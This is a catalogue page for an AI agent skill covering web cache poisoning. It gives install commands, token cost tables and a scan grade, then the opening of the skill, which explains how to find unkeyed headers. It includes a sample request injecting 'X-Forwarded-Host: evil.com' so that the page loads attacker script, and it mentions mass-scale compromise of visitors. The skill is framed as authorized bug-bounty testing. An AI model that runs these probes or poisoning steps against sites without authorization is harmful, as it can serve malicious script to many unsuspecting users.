Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deceptionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deception)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deception"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deception/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deception"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning-deception.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00059 | $0.02081 |
| Opus 5.5 | $0.00024 | $0.00832 |
| Sonnet 5.5 | $0.00012 | $0.00416 |
| Haiku 4.5 | $0.00006 | $0.00208 |
Grade A, and why
web-cache-poisoning-deception scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 189 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Cache Poisoning
When to Use
- When targeting high-traffic web applications utilizing aggressive content caching layers like Cloudflare, Fastly, Akamai, or Varnish.
- When you discover Cross-Site Scripting (XSS) or Open Redirect vulnerabilities that rely on HTTP headers (e.g.,
X-Forwarded-Host) rather than URL parameters. - To execute a mass-scale attack where exploiting the cache server once compromises thousands of innocent users visiting standard pages (like
/index.html).
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Cache Architecture Reconnaissance
# Concept: You need to understand how the cache server identifies identical requests.
# CDNs usually "key" a cache based on the URL path and the Host header.
# "Unkeyed" inputs are headers the cache IGNORES when matching files, but the
# BACKEND application still processes.
# 1. Identify active caching by looking at HTTP response headers:
HTTP/1.1 200 OK
X-Cache: HIT # Indicates the response came from the cache
Age: 15 # Indicates the cached file is 15 seconds old
Cache-Control: public, max-age=1800 # Time-to-Live is 30 minutes
# 2. Bust the cache for safe testing (Crucial Rule!)
# Always append a random query parameter so you don't poison production traffic while testing.
GET /?cb=xyz123 HTTP/1.1
Phase 2: Finding Unkeyed Inputs (Param Miner)
# Concept: We need to find HTTP headers that alter the backend response without
# altering the cache key.
# 1. Use the "Param Miner" extension in Burp Suite Professional.
# Right-click request -> Extensions -> Param Miner -> "Guess headers".
# 2. Example Manual Probing:
GET /?cb=xyz123 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# 3. Analyze the Backend Response:
HTTP/1.1 200 OK
<script src="https://evil.com/static/vendor.js"></script>
# Discovery: The backend dynamically generated a <script> tag based on our
# `X-Forwarded-Host` header. Because `X-Forwarded-Host` is unkeyed, this is highly vulnerable.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 189 lines · 59 tokens per session scan A a8ebc4d1b535
web-cache-poisoning-deception is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (11 stars, last pushed 6mo ago), licensed Apache-2.0. It adds 59 tokens to every session and 2,081 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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